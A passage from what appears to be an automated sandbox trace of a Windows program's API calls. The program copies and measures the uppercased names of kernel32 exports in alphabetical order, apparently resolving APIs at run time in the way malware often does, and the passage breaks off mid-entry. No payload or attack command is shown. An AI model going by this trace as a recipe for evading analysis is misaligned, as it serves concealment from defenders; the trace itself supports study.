lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0115.099] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0115.099] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0115.099] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0115.099] lstrlenA (lpString="CHECKELEVATION") returned 14 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0115.099] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0115.099] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0115.099] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0115.099] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0115.100] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0115.100] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0115.100] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0115.100] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0115.100] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0115.100] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0115.100] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0115.100] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0115.100] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0115.100] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0115.100] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0115.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0115.100] lstrlenA (lpString="CLOSESTATE") returned 10 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0115.101] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0115.101] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0115.101] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0115.101] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0115.101] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0115.101] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0115.101] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0115.101] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0115.101] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0115.101] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0115.101] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0115.101] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0115.101] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0115.101] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0115.101] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0115.101] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0115.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0115.101] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0115.102] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0115.102] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0115.102] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0115.102] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0115.102] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0115.102] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0115.102] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0115.102] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0115.102] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0115.102] lstrlenA (lpString="COPYCONTEXT") returned 11 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0115.102] lstrlenA (lpString="COPYFILE2") returned 9 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0115.102] lstrlenA (lpString="COPYFILEA") returned 9 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0115.102] lstrlenA (lpString="COPYFILEEXA") returned 11 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0115.102] lstrlenA (lpString="COPYFILEEXW") returned 11 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0115.102] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0115.102] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0115.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0115.102] lstrlenA (lpString="COPYFILEW") returned 9 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0115.103] lstrlenA (lpString="COPYLZFILE") returned 10 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0115.103] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0115.103] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0115.103] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0115.103] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0115.103] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0115.103] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0115.103] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0115.103] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0115.103] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0115.103] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0115.103] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0115.103] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0115.103] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0115.103] lstrlenA (lpString="CREATEEVENTA") returned 12 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0115.103] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0115.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0115.103] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0115.104] lstrlenA (lpString="CREATEEVENTW") returned 12 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0115.104] lstrlenA (lpString="CREATEFIBER") returned 11 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0115.104] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0115.104] lstrlenA (lpString="CREATEFILE2") returned 11 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0115.104] lstrlenA (lpString="CREATEFILEA") returned 11 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0115.104] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0115.104] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0115.104] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0115.104] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0115.104] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0115.104] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0115.104] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0115.104] lstrlenA (lpString="CREATEFILEW") returned 11 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0115.104] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0115.104] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0115.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0115.105] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0115.105] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0115.105] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0115.105] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0115.105] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0115.105] lstrlenA (lpString="CREATEJOBSET") returned 12 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0115.105] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0115.105] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0115.105] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0115.105] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0115.105] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0115.105] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0115.105] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0115.105] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0115.105] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0115.105] lstrlenA (lpString="CREATEPIPE") returned 10 [0115.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0115.106] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0115.106] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0115.106] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0115.106] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0115.106] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0115.106] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0115.106] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0115.106] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0115.106] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0115.106] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0115.106] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0115.106] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0115.106] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0115.106] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0115.106] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0115.106] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0115.106] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0115.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0115.106] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0115.107] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0115.107] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0115.107] lstrlenA (lpString="CREATETHREAD") returned 12 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0115.107] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0115.107] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0115.107] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0115.107] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0115.107] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, 